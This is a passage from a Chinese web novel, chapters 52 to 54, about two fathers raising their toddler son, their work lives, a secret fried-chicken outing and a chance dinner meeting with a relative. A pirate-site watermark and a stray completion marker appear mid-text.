陆应倬看陈今一脸疑惑,说:“何卫澜手机里有偷拍你的照片,你知道吗?” “不知道啊。” 陈今第一想法是奇怪。 第二反应便看向陆应倬,“何秘书从来就没主动找过我,都是我求人家办事,有没有可能是你让拍的转播,人家没删啊。” 陆应倬:“……” 段柏钦无语了:“大哥,你自己干的,你都没和我排除这种可能。” 陆应倬:“照片什么样子?” 段柏钦:“就是陈今在车后座吃饭啊,穿得破破烂烂的,感觉一天没吃饭了,嘴巴塞到鼓起来了。” 陆应倬:“……” 换手机了,好像有点印象。 陈今看一眼两人,明白了什么,不能对段柏钦做什么,他转头对陆应倬指了指脑子。 两个人学历比他高一大截。 凑在一块儿…… 陈今突然平衡了,“你俩多聊会儿天,我去抱儿子了。” 段柏钦也不想聊天。 “再聊下去我脑子也要坏了。” 陆应倬:“……” 第52章 第 52 章 一种西装配裤衩的气质。…… 小耳朵从半岁到两岁, 看似一年半,可在几个长辈眼里,也就是短短两个春天的事情。 两年春雨, 小芽儿长成了小树苗。 每当这个时候。 陈今总是无比庆幸自己当初拿起了摄像机。 他用专业而饱含感情的方式, 记录下了小崽子的成长, 看他从幼小脆弱需要依托两个爸爸的怀抱,到自己翻身学坐, 到牙牙学语。 两岁之前的小耳朵。 实在是和陈今小时候一个模子里刻出来的。 一样的乖嫩,一样的水灵,在小区里是出了名的漂亮崽。 两岁之后。 小耳朵突然有一天就长开了。 两边圆嘟嘟的婴儿肥少了一点点,轮廓初露端倪, 鼻梁有型,与陆应倬越发相似, 基因第二次开始发力,小脸蛋上五官到处是优点。 一只团子还是可爱软糯。 可气质总透着一股子淡定矜贵的味道。 在这么小的宝宝身上, 最后都能归结为——萌感。 实打实一只乖崽。 小耳朵把两个爸爸气质完美融合。 两岁半的宝宝脱离了育儿嫂。 在其中一个爸爸的教育下, 崽儿懵里懵懂答应了不睡主卧的拼接床,玩困了就呼呼大睡,然后被抱走回自己房间。 一开始, 小耳朵睡醒了只有自己一个人,很是害怕,哭了一顿。 从那以后。 小木车床头就有一个圆圆的监控。 最大的一个按键按下去, 可以自动拨通陆应倬的手机,他会很快出现。 小耳朵不怕了。 稀里糊涂就完成了分房睡觉。 再大一点他也不怕黑了。 崽儿吭哧吭哧从床上下来, 小木床一圈感应灯都会亮,他拉一拉门的儿童把手绳,便跑去隔壁的房间找爸爸们。 家里到处都有把手绳子。 宝宝自由穿梭。 有时候不一定先去找爸爸。 小耳朵起得太早, 一开门,遇见的可能是块头哥哥,他喜欢极了,会有爱地贴贴抱抱哥哥,哥俩好一样去宝宝房里参观一圈漂亮屋子,趴在地毯上滚来滚去。 今天,有点不一样。 小耳朵迷糊醒来,发现自己的小手湿湿热热的。 他一睁开眼睛,就和另一双黑亮亮的眼睛对上了,于是把小手小脚往毛茸茸那边靠,一抓一抱。 “哎呀!” 小耳朵脸上又被舔了舔。 他一边笑一边捂住小脸蛋,可他的手太小了,遮不住还被一起舔舔舔了,他只好劝说小狗:“唔……不要了,我要爸爸。” 小耳朵滚了滚爬起来。 他努力穿好床头的小袜子,从只有几节的软楼梯爬下去,哒哒哒跑去开了门。 块头也跟上。 小耳朵又顺利打开爸爸房间的门。 黑乎乎的…… 只有浴室有光。 小耳朵怕摔倒,拽着哥哥的狗毛一起啪嗒啪嗒走过去,把小脸贴在磨砂玻璃上奶声奶气地喊:“爸爸。” 里面水声停下。 “站好宝宝。” 里面传来低沉温柔的声音。 小耳朵把脸蛋离开凉凉的玻璃,下一秒,门被打开,他被拥入高高的怀抱里,摸摸脑门。 崽儿贴在他怀里,软软纠正称呼:“爹地……” “还有没有不舒服?” 陆应倬才离开他十分钟。 前天,小家伙有一点发烧,连续两天都说脑袋坐摇摇车了,喝了药之后蔫了吧唧的。 昨天中午退烧了。 陆应倬才让宝宝自己睡,隔三个小时去看一次崽。 张阿姨请假回家了。 陆应倬起床看了儿子,准备洗漱完做早饭,没想到小崽子有力气醒来自动寻爹。 “没有哦。”小耳朵软软趴在他肩头,“哥哥舔宝宝的手。” 陆应倬听懂了他的起床铃。 往外看了一眼陪宝宝进来后,又趴去门口的块头——小狗有规矩不进主卧,但身为兄长不太放心。 “今天醒太早了。” 陆应倬没及时煮东西给干饭崽吃,带着他走到床边问:“要不要陪爸爸再睡一会儿?” 小耳朵:“嗯!” 陆应倬把他放到床上。 陈今生物钟还差二十分钟。 可这个时候,怀里钻进一个柔软的小身体。 他下意识搂住吸了一口崽子,抱他到胸口趴好,和陆应倬动作出奇一致地摸儿子脑袋瓜,“还好,没发烧了……” 陆应倬给他俩盖被子,“睡会儿再下来。” “爹地拜拜……” 小耳朵在爸爸怀里挥小手。 说完又乖乖趴回去眯觉,说陪睡就陪睡。 陈今却不能偷懒。 他一会儿有比较重要的工作。 抱着香喷喷软萌萌的崽睡了十五分钟,坐起来打了个哈欠,拍拍肩头小崽子的屁屁,“醒了没有宝宝?” 小耳朵又被迫开机。 陈今:“白天不穿尿裤好不好?” 两岁半了。 尝试白天戒一戒尿不湿。 “好哦。” 小耳朵任由爸爸摆弄。 洗完屁屁换上新的小裤子,看着自己的纸尿裤好朋友被丢进垃圾桶,好吧,只有晚上才能见新朋友了。 一只干净的崽子坐在凌乱的被子堆,看爸爸一路来一路去又是找衣服又是进浴室,咬着牙刷还不忘给他穿小马褂,“你爹真的是,袜子都不给你好好穿,后脚跟穿到脚背——” 小耳朵仰头,“是宝宝穿的。” 陈今惊呆,赶紧抱起儿子亲一口,“你怎么这么棒啊!” 小耳朵扑进他怀里害羞。 面对爸爸每天夸张的赞美,宝宝也有一点抵抗不住。 陆应倬一进来。 两人还在父慈子孝。 他走去拎起儿子擦他脸上的牙膏沫,打断两人父子情深,“不是八点半要到公司?” “哦哦。” 陈今终于想起来了。 火速洗漱完,把台面让给陆应倬带儿子洗脸,换衣服换到一半过来问:“你今天在家?” 陆应倬看他衬衫配裤衩,如此不伦不类,可因为那张脸蛋还是清爽动人,“没有,我带儿子去公司,顺路送你去上班。” 陈今:“正好!我今天谈业务不出公司,不开车了。” 陆应倬:“换衣服下去吃早餐。” 陈今是要走的,又没忍住,返回来亲一口洗完脸自己擦小毛巾的崽,“你这个萌啊。” 小耳朵每天都在被夸夸。 神奇的是,除了和爸爸单独在一起害羞,爸爸爹地都在场的情况下就不会。 擦好香香。 宝宝盯着爹地把罐罐放回去。 “下楼吧。” 陆应倬让他自己走。 小耳朵却拽了拽他的裤子,仰头等待。 陆应倬:“抱你下去?” 小耳朵想说不是,但想了想,又点点头。 总有撒娇要抱抱的崽。 《你的孩子不是你的孩子》 《孩子的长大就是一场渐行渐远》 《别等孩子长大,才后悔没有时常陪伴》 陈今经常刷这种帖子给陆应倬分享,搞得两个老父亲现在不会拒绝崽子的要求。 陆应倬抱起儿子。 下一秒,脖子被搂住,脸颊传来软软的触感,“啵~” 陆应倬:“怎么了?” 刚说完他就反应过来了。 在崽子的嫩脸上补了一个擦完面霜之后的吻,“对不起,忘记了。” 小耳朵眨眼睛:“没关系哦。” 宝宝会提醒的。 陆应倬抱儿子下楼。 从周岁宴之后。 陈今隔三差五就要感慨一次:从来没想过带孩子原来这么简单,教什么会什么,不舒服了自己说,饿了自己把饭吃光! 带孩子一点都不难嘛。 直到曾芸有一次听到了,和他说:“这话可不能在外面说。” 陈今:“为啥呢?” 曾芸看儿子这副不谙世事的样子,无奈之余又开心,“带孩子就没有容易的事儿,你小时候已经算是很听话了,我和你爸也没少操心,我活这么大岁数也看过不少孩子了,年年真是给你报恩来的——中彩票都没这么好的事儿。” 陈今若有所思:“也是。” “谁也不知道我能生孩子啊!” 曾芸无语:“我说的是这个意思吗?” 陈今很后来才知道了。 小耳朵这个性格真的是可遇不可求,万里挑一的宝宝。 * 今日份早餐简单却好吃。 宝宝食谱:虾仁蛋羹,玉米糊糊,鸡汤小面条。 陈今收拾好下楼。 小耳朵戴着饭兜兜,埋头干饭,只有小叉子弄不上来才会用小手拿,塞进嘴巴里,吃得脏脏的,可看得出是个爱吃饭的宝宝。 “他好给你面子。”陈今对在咖啡机前的陆应倬说:“你做什么他都吃。” 陆应倬走了过来。 一杯拿铁给陈今,让人带去上班,拿走崽子吃光的其中一个小碗,给其他食物腾出位置。 “就不能是我做的好吃吗?” 陈今笑了笑,“也是。” 他也低头尝了口自己碗里的馄饨,是好吃的! 小崽子吃播太香了。 搞得两个大人胃口也好。 为了不耽误陈今上班,半碗小面条,陆应倬给小耳朵一口一口喂的,擦嘴巴的时候照例问一句儿子:“吃饱了吗?” 小耳朵摸着鼓起来的肚子,无须多言。 陆应倬拎起儿子。 崽子两只小胳膊被架起来,舔小手上的汤汁,但是被爹地拆了饭兜,带去洗手换衣服。 陈今:“我去车库等你们。” 一家三口两个去处。 陈今打扮得体下了车,“宝贝拜拜。” 小耳朵在安全座椅抬起小手,转了转,“拜拜爸爸~” 陆应倬把人拉住,“亲一个。” 陈今趁周围没人注意。 越过车窗对着他嘴唇狠狠亲了一口,“走了,我得提前到。” 陆应倬:“下班给我打电话。” 陈今:“好的!” 第53章 第 53 章 “带崽偷吃!” 陈今提前到达公司, 林康乐正在茶水间准备,“早啊陈哥。” “早。” 账号做得很成熟了。 陈今一年左右就又搬了新的办公点。 位置和陆应倬的公司大致顺路,处于艺术厂区的两层楼, 一层接待一层办公。 主营业务是外景拍摄。 偶尔会和各大影棚有短期合作。 陈今走向前台启动主机。 坐下没一会儿, 公司大门被人推开, 有人来到他身边,“找那个电影学院的对接人信息?” 陈今:“对。” 李华接过鼠标, “我来吧。” 陈今去旁边凳子坐下,喝口咖啡,看他调档资料。 李华桌面数据干净,分门别类, 按编排日期找到后给他展示:“这几个。明天你可能要和康乐跑一趟电影学院试拍,目前给价还可以。” 陈今滑看到最后的价格, 哪儿只是不错,他很满意。 “人多拍摄难度不小。” 李华把笔记本电脑也拿了过来, “看看这个月还要不要接新的商单。” 陈今还在反复注意顾客要求, “好,你放那儿。” 讨论完工作安排,顾客也到了, 林康乐随陈今去会议室接待。 李华在前台处理相应工作。 按照陈今的要求做了一些改动,更新表格,而后登陆公司账号, 回复一大片未读私信。 流程很熟练。 他在这边干快一年了。 一年之前,陈今去之前打工的服装店QIU, 邀请李华参加小耳朵的周岁宴,至此,两人交往慢慢回到正轨。 客源质量高了。 免费的宣传越来越多, 账号流量十分爆炸。 之前的工作室只有一百平不到,客人一多施展不开,拍摄工作和搬公司两边都不能耽误。 陈今忙得不可开交。 实在缺人的情况下,李华来帮过他几次忙——从观察和学习开始,只用了不到两周时间熟悉业务,一个顶俩,又干客服又干前台,行业笔记记了三分之二本厚。 人家也不要钱,就纯帮忙,一个劲儿干活。 陈今不可能放过这匹千里马。 三请四拉,以高薪将人聘到了自己公司。 他需要人。 李华需要工作。 两两合作了一年半,完美打配合。 这次的商单挺有看头。 单主来自本地电影学院的一群富二代,需要给自导自演的电影大戏拍摄角色风格照,作品打算送审评奖,找摄影师注重的是故事感。 五个人的群像。 光是人物小传和细节理解就有一本。 不过一群富二代凑一起,给价也非常大方。 陈今虽然音乐审美不怎么好,可经过这两年上万的摄影课和百次实战经验,在追求绝对艺术的客人面前,也能侃侃而谈,很快领悟到对方所需。 “对没错。” “是这个意思,我们学院剧场也可以用。” “这么大一本你都看完了?难怪对答如流……不错,合作愉快。” 陈今与人握手:“合作愉快。” 拿下! 成交了笔大的,陈今忙完一下午,打算请公司的伙伴们吃饭。 林康乐:“欧吼!” 陈今一摸口袋,“完了我没开车。” 白迅立即掏出自己电车的钥匙:“我开了哦~” 陈今笑着接过,“那好办了。” 他拿出手机给陆应倬发消息,“不介意我再摇两个没饭吃的过来吧?” 白迅:“诶!耳朵宝宝吗?” 林康乐:“可以啊可以啊,当然不介意。” 不过可惜了。 陆应倬今天有应酬。 陈今了解到段柏钦也在,没什么担心的,“那你少喝点。” 陆应倬:“不喝了,儿子在,别人开车不放心,我这边结束去接你回家?” 陈今:“看看吧。” 陆应倬带儿子应酬,回家会很早。 陈今开车带大家去吃饭。 约了一家他之前和陆应倬吃过的私厨,晚风徐徐,包厢窗外能看到古色古香的院景。 一晚上。 陈今注意到一件事—— 从下午开始,李华几乎没怎么说话。 桌上就点了一瓶酒,他几乎一直在喝,清俊的脸颊酡红,眼神迷离到有些怅惘。 陈今几乎不碰酒,两口即止,问他一句:“怎么了今天?” “……她有男朋友了。” 李华低眸盯着玻璃酒杯,“特别般配。” 陈今瞬间好奇:“谁?” “你什么时候有喜欢的女孩子了,我怎么没听说啊?” 李华每天除了上班就是上班。 为了弟弟大学毕业以后轻松一些,他一直在努力挣钱,根本没有任何谈恋爱的心思。 陈今:“醉了就说,我又不会给你拍下来。” 李华不说话。 问不出什么便也作罢。 陈今去洗手间,回来时顺便买了单,又拿了一瓶酸奶。 饭桌上—— 林康乐也去找洗手间。 白迅觉得这边风景好,去周围拍照了。 陈今把酸奶塞到李华手里,“不知道对你管不管用啊。” “陈今。”李华静静看着酸奶说了句:“你怎么不害怕和陆总在一起?” 陈今突然笑了,“我啊?” 李华:“我想知道。” 陈今撑着头回忆,“一开始也有啊,怎么没想过拒绝……这不是意外有儿子了,赶鸭子上架我也得赖着他管小孩儿,稀里糊涂绑在一起了之后,人哪有那么多神圣不可侵犯,他也挺包容我的。” 李华说:“可是你很好。” “所以……橘子才那么喜欢你。” 陈今听了个大差不差,瞬间了然:“橘子在国外恋爱了?” 李华眼睫垂下去,又不说话了。 得。 八九不离十。 陈今没想到李华真的在暗恋。 苏橘已经离开两年,真正意义上有了自己的生活,有了喜欢的人,一时间安慰什么都不对,他抬手捏了捏李华的肩膀, 陈今手机响了,看到来电人,他走去隔间茶室接听。 陆应倬:“现在来接你?” 陈今看了眼表,“行,你过……阿姨还没回来吧,你放儿子一个人在家睡觉啊?” 陆应倬:“在我车上。” 随后他声音放轻了一些,“和爸爸说话。” 两秒后,小耳朵软绵绵说道:“爸爸……我和爹地来接你回家哦。” 小奶音睡意朦胧的。 陈今心疼得很,“乖宝宝,你们还有多久到?” 陆应倬接话:“五六分钟。” 陈今对崽子说:“爸爸一会儿上车抱你睡觉。” 小耳朵:“好哦。” 挂了电话。 陈今回到餐桌看李华还是同一个动作。 林康乐和白迅都回来了,她说:“陆哥和耳朵宝是不是来接你啊,我送他俩回去就可以了,你走吧老板!” 陈今失笑。 听这么清楚,那他还专门走远了。 林康乐去搀李华, 陈今不放心走过去帮手,“能不能走?” 李华晃了晃头,抓着他的手臂起来,“没事……我自己可以。” 众人各自分散离开。 陈今没等多久便有车停下。 驾驶位的陆应倬在夜色和车灯下赏心悦目,后车窗落下,里面是脑袋小鸡啄米一样的幼崽。 “看你给他困的。” 陈今径直上了后座。 他把小耳朵从安全座椅解救出来,团在怀里,宝宝看到爸爸手脚并用往他身上窝,揉揉眼睛。 陆应倬抬手关灯。 “睡觉吧。” 陈今用外套包住崽儿。 拍两下小家伙的屁股蛋子,发现是早上出门时的裤子,问陆应倬:“今天他尿裤子没?” “没有,我两个小时带他去一次厕所。”陆应倬从储物箱拿出一片纸尿裤,“现在穿。” 晚上还是不行。 崽儿还不会睡着后起来尿尿的技能。 要说尿床就尿了吧,家里不缺有人收拾,可宝宝有宝宝的小情绪,会有点不开心。 陈今一开始以为儿子害羞。 但也奇怪,家里没人和崽儿说过尿床是坏事啊? 直到有一次—— 张阿姨打电话给他还有陆应倬说,让他们看一看家里的监控,那时候,两个爸爸发现了其中可爱之处。 张阿姨习惯先手洗脏的衣物被单,再进洗衣机。 那天,陈川峰陪小耳朵在沙发上玩儿积木,宝宝穿着西红柿炒鸡蛋颜色的背带裤和小T恤,一下子就看到了阿姨拿着他尿完床的小被子去阳台,眼巴巴的。 后来积木也不玩儿了。 崽儿撅着屁股滑到块头哥哥身上,哒哒哒跑去找张阿姨抱大腿,看阿姨洗被子晒被子,和小尾巴一样问东问西。 张阿姨主要是被可爱到了。 一直回答宝宝的小问题,告诉他洗干净被子之后,被太阳公公晒一遍,又可以睡香喷喷的被子了。 于是小耳朵产生好奇,蹲在自己专属的洗衣机前观看。 家里的洗衣机是滚筒的。 柔软的小鸭被在里面被扭打成可怜巴巴的模样,水滋滋冲刷,又甩来甩去。 陈川峰来抱走大孙子的时候,崽儿眼睛红红的。 人类幼崽行为大赏。 总有让人十分迷惑的地方。 最后以陆应倬解读最为准确——小耳朵对自己的每一床小被子都很喜欢,第二次第三次尿床,每次都很伤心。 被被又要被打了。 现在张阿姨给小家伙洗被子,都要避开他,生怕伤害到小崽儿脆弱有爱的心灵。 小耳朵在爹地公司准点喝了奶。 陈今为了让儿子好好睡觉,给换上了尿裤,再穿裤子就有点不舒服了,干脆光着。 陆应倬反手把出风口调偏,温度调高。 * 工作上的事情繁冗 陈今要跟学生那边的拍摄进度,一磨就是一周半,每天早出晚归,回来还要做功课理解人物小传。 陆远璋想要小耳朵去老宅玩儿。 不知道第几次被陆应倬拒绝了,也不生气,不是自己来就是带着管家来青徽公馆,几个长辈都混熟了。 人一多。 陆应倬才会偶尔加班。 可家里宝宝黏人。 崽儿只要一打电话,多说一句想,陆应倬又会把儿子带去公司,眼皮子底下。 何卫澜也很乐意干这活儿。 小耳朵喜欢何叔叔,也喜欢总是来爸爸公司的段干爹,大家都需要他调节气氛,宝宝反正在哪儿都不缺人爱。 陈今工作告一段落。 修片完成,尾款结算,这一熬就是到了月底,原本一周的假期只剩下两天。 陈今工作再多。 某人该有的福利一点都不让自己少半分—— 陆应倬每天下了班就去接人,哄骗完就在车上鬼混,要是遇上陈今在家里加班,他能一等等到凌晨两点,陈今屁股一挨床,下一秒就是挨|操。 家里的安全套消耗速度惊人。 于是,完整的两天假期,陈今决心全留给儿子。 好巧不巧。 陆应倬要去外地出差~ 陈今前脚高高兴兴把人送出门,后脚就给几个长辈打电话,说自己要带崽儿出去玩,今天家里没人。 吃完午饭。 陈今带着宝宝午睡。 定了闹钟起来,他抱着脸颊睡得热乎乎的崽儿走一走,醒醒觉,“我们换衣服出门。” 小耳朵提醒:“宝宝没有喝牛奶。” “今天不喝。” 陈今单手抱儿子,在衣柜里翻翻找找,掏出一件有立体汉堡的小T恤,给软嫩的小白崽换上,“爸爸找到一家特别好吃的炸……物店,带宝宝去吃好不好?” 小耳朵支起身子点头:“好哦!” 吃好吃的! 崽儿立刻表忠心,献上一个香吻和抱抱:“爱爸爸。” 陈今揉了揉他的脑袋瓜:“爸爸精挑细选了的,很卫生干净,呃……当然了,只要不告诉你原料是什么小动物,你都吃得很香。” 太长一段了。小耳朵听不懂,说:“吃得香!” 陈今亲他一口。 家里大人惯得有点太小心翼翼了,虽然耳朵还小,可炸鸡冰淇淋蛋糕一律不准宝宝吃,人家一岁半后都当狗养了,小耳朵完全是被当姑娘养的。 吃点小零食开开眼还是很有必要的。 “出发!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【全文完】 第54章 正文完 “轻轻松松一手一个…… 小耳朵实力强悍到可怕。 陈今带崽偷吃完有了新发现。 崽儿面对没吃过的新食物, 始终表现出无比的期待和捧场,一口咬下酥脆的鸡全翅时,开心到脚都晃悠了好几圈。 一口炸小鸡, 一口树莓挞。 时不时还能吃一小口爸爸的开心果冰淇淋。 投喂小耳朵是件有成就感的事情。 小家伙总是乖乖等待, 等好吃的到嘴边, 把小嘴巴张开到力吞山河的气势,嗷呜一口吃掉, 整个一只团子都在表达高兴。 虽然偷吃,陈今还是控制了量的。 刚好能满足崽儿的馋嘴还不把肚子填饱。 好好吃哦。 小耳朵回程时还在舔嘴巴回味。 陈今看后座跟着他音乐打节拍的宝宝脚丫,打转方向盘,“张奶奶在家煮了你爱吃的, 一会儿还能吃饭吗?” 小耳朵:“可以哦。” 陈今想到他刚才大快朵颐的样子,“晚餐不用吃很多, 但我们态度要积极!” 不然太明显了。 陆应倬动不动吃饭查岗。 要是一打开监控看到小耳朵不爱吃饭,鬼来了, 下次再想带宝宝出去觅食只会越来越难。 小耳朵说:“我可以吃爸爸。” 陈今笑:“吃爸爸?” “不吃爸爸。”小耳朵立刻摇摇头, 抓住自己的小耳朵思索了一番,说:“宝宝可以吃饭饭,还可以吃!” 陈今句句有回应:“好。” 但他显然小看了儿子。 小耳朵说的话都有他的道理。 晚饭, 饭桌上,崽儿又显示出了他的无差别干饭体质,面对端上来的菜来者不拒, 勺子都不要了,直接上手。 “咕噜咕噜——” 小耳朵把空汤碗放在面前四个小碗之中, 嘴巴油亮亮,丝毫没有勉强的成分在。 陈今:“……” 他担心地去摸儿子肚皮,“撑不撑啊?” 小耳朵说:“爸爸我吃饱了。” 张阿姨走过来给宝宝解开饭兜, 竖起大拇指:“真棒!” 陈今:“……” 根本没有任何破绽。 不管有没有偷吃,该干的正餐一样不挑,根本不存在吃了零食不吃饭的情况。 陈今准备打的掩护一个没用上。 后面几天,小耳朵也没有任何挑食的迹象,只要有饭,也不想外面的好吃的。 陆应倬回来也没露馅儿。 一次,陈今下班回来带了纸杯蛋糕,小耳朵双眼放光扑到他怀里,坐在爸爸腿上吃的满嘴奶油。 陈今:“好吃吗?” 小耳朵无比捧场:“好吃,还要吃脆脆!” 陆应倬洗完澡下来问:“脆脆是什么?” 陈今一下子就懂了。 宝宝太给力,他也没有瞒着陆应倬了,凑到他耳边说:“我带他吃炸鸡冰淇淋了。” 陆应倬看他:“什么时候?” 陈今坦白从宽,“就是你上周出差。” “他吃的时候不知道多开心,我特意没让他吃饱,回来他还吃了饭,这一周也没和我提过,我以为他不喜欢呢。” 小耳朵敏锐听到,“宝宝喜欢吃!” “去哪儿吃的?” 陆应倬抱儿子坐在腿上,拽过陈今,“那两天他有没有不耐受拉肚子?” “放心吧。”陈今一句话概括:“继承了我的先天吃路边摊圣体!” 陆应倬:“……” “店面信息翻出来我看一眼。” 陈今毫不心虚找出来给他,“开玩笑,我之前跑多少年外卖了,过了市场稽查的,都是鲜货,看!” 店铺信息公开透明,好评如潮,无可挑剔。 “过两天带你们去吃法餐。” 陆应倬给崽儿擦嘴巴,“下次带儿子出去能不能带上我?” 陈今怀疑看他:“你会准?” 陆应倬:“你在外面偷吃偷喝我说过你几次?” “好几次啊,再说你平时养儿子太精细了。” 陈今手拍手叫嚣:“爸妈张阿姨秦叔他们溺爱就算了,人家隔辈亲,你还有过之而不及……谁小时候没吃点辣条淀粉肠啊,靠,搞得我带儿子出门和犯罪一样!” 陆应倬无奈:“他还太小了。” 天天被夸又长大了的茁壮成长小耳朵听到,仰起头说:“宝宝不小。” 陈今双手一摊,“看吧。” “你想一想你儿子的干饭体质,你舍得让他从两岁半就学习克制欲望吗?” 陆应倬:“克制欲望和吃炸——” “啪!” 陈今如临大敌,一把捂住他的嘴。 小耳朵果然听到了,还补充说:“炸脆脆!” 陈今做出保证:“是的,炸脆脆,爸爸过几天就带你去吃。” 他转头给了一拳。 陆应倬面不改色握住他的手。 此时此刻,他承认自己是有那么一丝同意陈今的育儿理念了,他崽儿那颗对万物有爱的心…… 太单纯了。 之前陈今放假带小耳朵去公园遛狗,路上买了两盒酸奶,一盒给块头一盒给儿子,然后人家老板送了一只鸡崽,还没手掌大,毛茸茸圆头圆脑很是可爱。 块头对那只小鸡太热情。 陈今丝毫不怀疑看不见的地方,鸡崽子就被家里的小狗吞到肚子里去,小耳朵也有同款担心,于是没养几天就送走了。 养鸡好啊。 知道鸡长这么可爱之后…… 小耳朵就不吃了。 陈今:“……” 他试图劝说自己生出来的崽:“长大的鸡就不可爱了,可以吃,宝宝不是最爱吃鸡腿了吗?” 小耳朵自己拼积木,软声软气:“不吃小鸡。” 陈今:“……” 以后谁也别提这个字。 两岁半而已,还可以骗一骗,长大就忘了,长大就好了。 * 陆应倬和陈今从不言而无信。 家里有个贼爱吃饭的崽儿,满足他,喂饱他,给他想吃的是最简单又幸福的事情。 工作日,周二。 陆应倬带上同样延期工作在家陪儿子的陈今,一起去了新的法餐厅,没等人问,他就说:“今天吃不一样的脆脆,管够。” 小耳朵来者不拒:“管够!” 没有炸鸡,安全落地。 这顿饭里没有敏感词,但为了不违反答应孩子的事情——点单中有炸酥肉排和脆薯角,苹果派和香草冰淇淋。 法餐厅装修很美丽,小耳朵不闹人,一家三口在窗边吃饭。 餐厅提前准备好了宝宝叉。 陆应倬见崽儿使用不稳当,举着给儿子咬,陈今忍不住说:“你也太像在喂驴了。” 有点好笑。 陈今掏出手机拍他俩, 小耳朵是拥有一别墅写真的宝宝,对镜头很敏感,嘴巴还鼓囊,剪刀手已经举起来了。 脆脆还是不小心掉在盘子里。 小耳朵耐心地拍拍陆应倬的手,和爹地商量:“宝宝自己吃。” 陆应倬给切好。 让儿子戳一口刚好符合嘴巴容量。 他们来得比较早。 服务生拿着牛皮餐单过来说:“不好意思,单独做冰淇淋的甜品师还在准备,为表歉意我们真诚赠送一份新甜点,可以选择点单或者亲自去餐台挑选。” 甜点餐台是独立的。 偌大的玻璃展示长柜中色彩缤纷。 甜品师穿着专业。 还在操作需要现做的餐点。 陆应倬临时接了个电话,分心出来将儿子放到地上,“去吧。” 服务生弯腰笑道:“和我来吧。” “谢谢姐姐。” 小耳朵主动牵上身着制服的服务生。 甜品餐区的香甜萦绕在空中,一踏入,小家伙就被吸引去看玻璃台中各式各样的小蛋糕。 他踮起脚。 餐台对小朋友是很高的。 服务生准备抱起小耳朵,陈今便过来与她道了谢,抱起儿子,“想吃哪个?” 小耳朵视野豁然开朗。 所有漂亮可口的甜品尽收眼底。 他白白的小手撑在柜台看,要从几十种好吃的蛋糕中挑一款出来,对宝宝来说,是一件非常重大且困难的题目哦。 陈今也耐心等他。 “……唔嗯!” 身边突然传来声音。 陈今低头一看—— 是一个扎着蝴蝶结双马尾的小女孩,看着和小耳朵差不多大,小皮鞋一踮一踮的。 她抬起头。 清秀可爱的小脸蛋有些害羞,又跑到远一点的地方了。 周围客人愈发多了。 陈今没怎么多想,先询问儿子:“想好了么宝宝?” 小耳朵:“爸爸,再等一下。” 陈今看崽儿扫视长长的玻璃柜。 他抱着人左右走了走,重新遇到那个小姑娘时,同样将人抱了起来,“看清楚了么?” 一手一个毫不费力。 小姑娘抱上陈今的脖子,准确指了指:“叔叔……我要这一个。” 小耳朵:“爸爸我快想好了……” 陈今安慰崽子不着急,“慢慢选。” 他让甜品台的服务生,把小女孩儿选的蛋糕拿出来,递给她时揉揉脑袋,对台前人说:“记在我们这一桌的账单。” 小女孩笑:“谢谢叔叔。” 陈今:“不客气。” 与此同时,小耳朵也选好了。 同时拿到了自己的小蛋糕和香草冰淇淋,回到餐桌上,一勺一勺挖着吃。 陈今看一眼周围。 陆应倬注意到:“找什么?” “刚才有个小姑娘。” 陈今撑着头的手放下来,“我请她吃甜点,感觉没看到她父母,找一下……” 陆应倬:“餐厅都有监控和服务生,不会丢。” 陈今:“也是。” 话音刚落—— 后腰处突然窜出一个小身影,咻地一下扑到他腿上,“叔叔,我爸爸妈妈说问你和弟弟喜欢吃什么,我们给你点……给你菜单。” 陈今接住她。 当了爹就是容易心软,“不用了宝宝,叔叔觉得你很可爱奖励你的。” 陆应倬突然说:“老婆。” 陈今:“嗯?” 他顺着陆应倬的眼神看过去。 小耳朵蛋糕冰淇淋也不吃了,眼巴巴看着他抱着小姑娘,小脚丫也不晃了。 醋了! 陈今忙把小女孩放下,“谢谢你和你爸爸妈妈,回去吧,叔叔要喂弟弟吃饭了。” 小女孩说了声好。 拿走菜单之前问小耳朵,“弟弟你要吃吗?” 小耳朵委屈巴巴:“……不要吃,谢谢你。” 不吃饭?大事不好! 不等陈今反应,陆应倬将儿童座椅里的崽儿抱在怀里,小家伙立刻抱住爹地脖子,背影都在散发悲伤气息。 陈今主动服软:“宝宝你在干嘛?” 小耳朵手悄悄摸眼睛。 陆应倬揉揉儿子的脑袋:“没事,刚才爸爸喊错了。” 陈今:“啥?” “你只有一个宝宝。” 陆应倬为家庭和谐和儿子心理健康做出巨大贡献:“小耳朵才是宝宝,不要喊别人宝宝。” 陈今没招了。 心肝宝贝一样地把儿子抱回来:“之前我怎么没发现他占有欲这么大?” “你身边没什么小孩儿。” 陆应倬就差没考个耳朵心理咨询师了,还不忘安慰儿子:“爸爸以后不会犯了。” 陈今:“对对对!” 小耳朵继续吃起了蛋糕,这次是坐在爸爸怀里吃,不肯走了,吃一口看一眼爸爸。 心脏软绵绵的。 陈今掐两把儿子的小脸蛋,凑近他耳边:“耳朵可是爸爸生的第一个宝宝,也是唯一的宝宝,爸爸可没有别的了。” 小耳朵抿嘴笑。 父子俩又闹成一团。 陆应倬不自觉扬起嘴角,喝了口酒,忽而眼神停顿了片刻,视线尽头处对方也是一愣。 陈今转头望:“有熟人啊?” 陆应倬:“我在确认有没有认错。” 说完他便缓缓起身,和犹豫后又走来的人说:“舅舅。” 舅舅?? 陈今抱着小耳朵站起来。 脑子里还在尽力搜寻这个人物。 “这是我舅舅严继平。” 陆应倬已经开始介绍了:“这位我爱人和孩子。” 陈今喊了人,摸了摸小耳朵的屁股教他,“宝宝你喊舅公。” 小耳朵:“舅公好。” 严继平西装革履,温和儒雅,不过四十出头模样,看着一家三口也没有过问任何,对陈今点点头,又多看了两眼小耳朵,慈爱地摸了摸他的手,“孩子长得真好。” 说完又下意识掏口袋。 陈今自从生了小耳朵对这套免疫了,说:“不用了舅舅,出门在外身上也没带东西。” 几人寒暄一阵。 严继平坐下来说了会儿话。 正准备离席,就看到妻子和女儿走了过来,他一脸宠溺抱起女儿准备介绍,小姑娘看着陈今笑:“漂亮叔叔!” 小耳朵埋在爸爸怀里,一个劲儿钻! 陈今:“……” 还真是好有缘分啊。 几个大人解释一番刚才缘由。 严继平也觉得十分凑巧,语调更是和煦了不少:“谢谢你小陈,这桌单我来买吧,主要是我来首都出差也不能久留,别推辞。” 陈今笑着点头,“谢谢您了。” 一桌刚用餐。 一桌已然准备回家。 